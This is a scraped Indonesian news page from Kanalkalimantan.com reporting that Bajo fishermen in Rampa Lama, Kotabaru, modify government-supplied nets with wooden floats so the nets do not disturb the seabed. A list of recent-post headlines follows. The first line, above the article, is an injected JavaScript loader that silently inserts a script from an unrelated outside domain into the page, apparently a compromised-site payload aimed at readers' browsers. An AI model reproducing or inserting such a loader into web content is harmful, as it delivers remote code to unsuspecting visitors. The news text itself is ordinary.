(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Rusak Biota Laut, Nelayan Suku Bajo Modifikasi Alat Tangkap Jaring Bantuan Pemerintah


KOTABARU,  Kalangan nelayan di Desa Rampa Lama, Kecamatan Pulau Laut Utara, memodifikasi alat tangkap yang didapatkan dari penyaluran bantuan pemerintah. Pasalnya, alat tangkap yang diberikan dinilai dapat merusak biota laut di dasar air sehingga akan berdampak dari ikan dan udang yang akan hidup khususnya pada perairan laut.

Salah satu nelayan yang ditemui Kanalkalimantan.com, Senin (20/11), Wara mengatakan, dia berupaya bisa mengubah alat tangkap berupa jaring dengan memodifikasinya sendiri agar hasil yang didapat semakin baik.

“Bantuan jaring dari pemerintah itu bisa saja dipakai, namun tergantung dari musim yang ada. Lagi pula ketika jaringnya dilempar maka sampai ke dasar sehingga dapat mengganggu ekosistem alam bawah air,” ujar Wara.

Sementara, lanjut Wara, setelah dilakukan modifikasi dengan menambahkan beberapa peralatan seperti pelampung dari kayu dapat digunakan setiap hari dan tanpa mengenal musim.

“Kami menilainya lebih ramah lingkungan dan hasilnya pun lumayan. Tidak seperti sebelum dilakukan modifikasi terhadap alat tangkap tersebut,” tambahnya.

Warga lainnya menambahkan, dengan dirubahnya jaring yang ada selain hasil nelayan lumayan serta tidak mengganggu kehidupan laut di dasar karena jaring yang di lempar tidak sampai dasar.

“Mudah-mudahan saja apa yang kami lakukan tidak menyalahi terkait tata cara penangkapan ikan. Namun yang jelas, alat yang kami rubah sama sekali tidak merusak kehidupan laut di dasar dan dilihat dari segi penghasilan lebih menguntungkan dari pada alat tangkap sebelumnya karena bergantung pada musim hanya bisa mempergunakannya,” ujar Madi.

Harapan lain yang disampaikannya, kedepan kehidupan nelayan pesisir Pulau Laut akan semakin baik dalam memenuhi kehidupan sehari-hari serta bersama-sama lingkungan dengan baik untuk kebersamaan mencari rejeki di laut.(fauzi)


Desy Arfianty

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

12 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

13 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

14 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

19 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

22 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

22 jam ago